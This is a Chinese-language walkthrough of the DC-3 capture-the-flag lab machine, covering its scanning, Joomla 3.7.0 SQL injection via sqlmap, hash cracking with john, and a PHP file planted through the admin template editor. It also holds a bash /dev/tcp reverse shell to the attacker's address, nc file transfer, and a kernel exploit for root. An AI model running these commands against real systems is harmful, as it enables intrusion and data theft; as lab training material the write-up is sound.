DC3靶机渗透测试
文章目錄
- 環(huán)境版本:
- 開幕雷擊:
- 解決方法:
- 一、信息收集
- 1.主機發(fā)現(xiàn)
- 2.端口掃描
- 二、漏洞挖掘
- 1.訪問 ip
- 2.目錄掃描及版本掃描
- 3.搜索 joomla 框架對應版本漏洞,并打印詳細信息
- 4.使用 SQLmap 對 joomla 的數(shù)據(jù)庫進行攻擊
- 5.使用 john 對密碼 hash 進行爆破
- 6.登入后臺
- 7.使用 nc 反彈 shell
- 8.提權
環(huán)境版本:
- VMware 16
- Kali 2021.1(虛擬機)
- DC-3(虛擬機)
開幕雷擊:
導入 DC-3 發(fā)現(xiàn)如下提示
IDE 設備(磁盤/CD-ROM)配置不正確。“ide1:1”上具有一個 IDE 從設備,但沒有主設備。此配置在虛擬機中無法正常運行。請使用配置編輯器將磁盤/CD-ROM 從“ide0:1”移到“ide0:0”
解決方法:
虛擬機 -> 設置 -> CD/DVD -> 高級,將 0:1 改為 0:0
一、信息收集
1.主機發(fā)現(xiàn)
arp-scan -l
2.端口掃描
nmap -A -p- 192.168.1.126
可以看到,該主機開啟了 80 端口 Apache 服務,使用了 Joomla 框架
二、漏洞挖掘
1.訪問 ip
發(fā)現(xiàn)登陸界面
歡迎來到DC-3。
這一次,只有一個 flag,一個入口點,沒有提示,
要想得到這個旗子,你顯然必須獲得根的特權,
你如何成為根的權利取決于你自己
--當然還有系統(tǒng)。
祝你好運
--我希望你喜歡這個小小的挑戰(zhàn)。
你在這里:HOME
2.目錄掃描及版本掃描
已知其使用的是 Joomla 框架,使用 joomscan 掃描
apt-get install joomscan
joomscan -u 192.168.1.126
發(fā)現(xiàn) joomla 版本、入口點及若干目錄
3.搜索 joomla 框架對應版本漏洞,并打印詳細信息
searchsploit Joomla 3.7.0
cat /usr/share/exploitdb/exploits/php/webapps/42033.txt
發(fā)現(xiàn)注入漏洞,并提示使用 SQLmap 進行爆破
4.使用 SQLmap 對 joomla 的數(shù)據(jù)庫進行攻擊
#爆庫
sqlmap -u "http://192.168.43.53/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] --batch#爆表
sqlmap -u "http://192.168.43.53/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --tables -p list[fullordering] --batch#爆列名(參數(shù)選擇:Y,Y)
sqlmap -u "http://192.168.43.53/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T '#__users' --columns -p list[fullordering]#爆記錄
sqlmap -u "http://192.168.43.53/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T '#__users' -C name,password --dump -p list[fullordering] --batch
如上操作得到賬號、密碼 hash
5.使用 john 對密碼 hash 進行爆破
將得到的密碼寫入 1.txt,使用 john 進行 hash 爆破
john 1.txt
得到密碼:snoopy
注意:join 對一文件只能進行一次爆破,第二次爆破沒有結果,會出現(xiàn)如下界面,可以使用 “john --show *” 查看所有爆破結果
6.登入后臺
發(fā)現(xiàn)后臺能編輯和創(chuàng)建文件,創(chuàng)建文件 1.php
在新文件寫入 phpinfo() ,訪問 192.168.43.53/templates/beez3/1.php,發(fā)現(xiàn)有回顯
(關于目錄,上圖綠框中提示了路徑,只是把 template 變?yōu)?templates )
7.使用 nc 反彈 shell
1)編輯 1.php,將下內(nèi)容寫入,ip 改為你的攻擊機(kali) ip 地址,端口隨意
system("bash -c 'bash -i >& /dev/tcp/192.168.43.43/2333 0>&1'");
2)攻擊機(kali) 開啟監(jiān)聽
3)訪問 192.168.43.53/templates/beez3/1.php,返回 Kali 發(fā)現(xiàn)有回顯
8.提權
1)查看版本信息
uname -a #查看kernel版本
cat /etc/*-release #查看linux版本
2)掃描該版本提權 exp
searchsploit ubuntu 16.04 4.4
3)使用 39772 進行提權
查看漏洞信息及使用方法
cat /usr/share/exploitdb/exploits/linux/local/39772.txt
4)在靶機 shell 中無法獲取,考慮在攻擊機 nc 傳輸
5)訪問 ‘https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip’ 下載39772.zip
unzip 39772.zip
cd 39772 tar -xvf exploit.tar
cd ebpf_mapfd_doubleput_exploit
- nc 傳輸整個目錄
(只可更改ip、端口,不能更改 ‘-’)
靶機 shell:
nc -l 1234|tar zxvf - #nc開啟監(jiān)聽1234端口,接收并 tar 解包
攻擊機:
tar cfz - *|nc 192.168.43.53 1234 #tar打包當前目錄文件,nc傳輸
7)接收文件后終止靶機 shell 進程,重新建立連接
靶機 shell ctrl+c
nc -lvvp 2333
訪問 http://192.168.43.53/templates/beez3/1.php
查看當前目錄發(fā)現(xiàn)文件,按照 exp 說明執(zhí)行文件
靶機shell:
./compile.sh
./doubleput #等待 60s 左右,得到 root shell
總結